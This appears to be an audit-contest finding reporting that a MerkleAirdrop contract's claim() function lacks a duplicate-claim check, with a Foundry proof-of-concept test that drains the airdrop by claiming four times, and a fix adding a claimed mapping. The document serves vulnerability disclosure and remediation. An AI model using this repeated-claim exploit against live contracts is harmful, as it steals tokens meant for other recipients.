Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Missing checks in `MerkleAirdrop::claim()` for accounts that have already claimed USDC tokens, allowing users to claim token multiple times.

Summary

The claim() function currently lacks checks to prevent accounts from claiming more than once, allowing winners to receive a larger share of the drop than intended. Lucky winners can unfairly deplete the pool for other winners, leading to an improper distribution of tokens, eroding trust in the contract.

Vulnerability Details

Lack of a mechanism to track and store the claimed status of accounts in claim() function allows users to deplete the token reserves of the contract by claiming as many times as they want until the contract is depleted.

Impact

Without a check for duplicate claims, users can repeatedly claim USDC tokens, causing financial harm to the contract. This undermines fairness and integrity of the airdrop distribution process.

Tools Used

Manual Review

Proof of Concept

Have a collector i.e., collectorOne trigger claim function multiple times,

Logs:

  • MerkleAirdrop token balance before: 100000000

  • MerkleAirdrop token balance after: 0

Add the following test to MerkleAirdropTest.t.sol

PoC
function testUsersCanWithdrawSeveralTimes() public {
uint256 startingBalance = token.balanceOf(collectorOne);
console.log("MerkleAirdrop balance before: %s", token.balanceOf(address(airdrop)));
vm.deal(collectorOne, airdrop.getFee()*4);
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
console.log("MerkleAirdrop token balance after: %s", token.balanceOf(address(airdrop)));
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToCollect*4);
}

Recommendations

There are a few recommendations.

  1. Consider introducing an claimed mapping that stores accounts that have already claimed. Before processing a claim, verify whether the account has already claimed tokens and reject duplicate claims accordingly.

+ mapping(address => bool) private claimed;
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (claimed[account]) revert MerkleAirdrop__AccountHasAlreadyClaimedTokens();
// Rest of the code
+ claimed[account] = true;
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount);
}
  1. Consider introducing a flag in leaf data, indicating validity of a leaf, so an invalid leaf would be equivalent to a deleted leaf.. The Merkle root remains unchanged, but when verifying proofs involving the "deleted" leaf, you can check the invalidation flag before proceeding.

Updates

Lead Judging Commences

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

multi-claim-airdrop

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.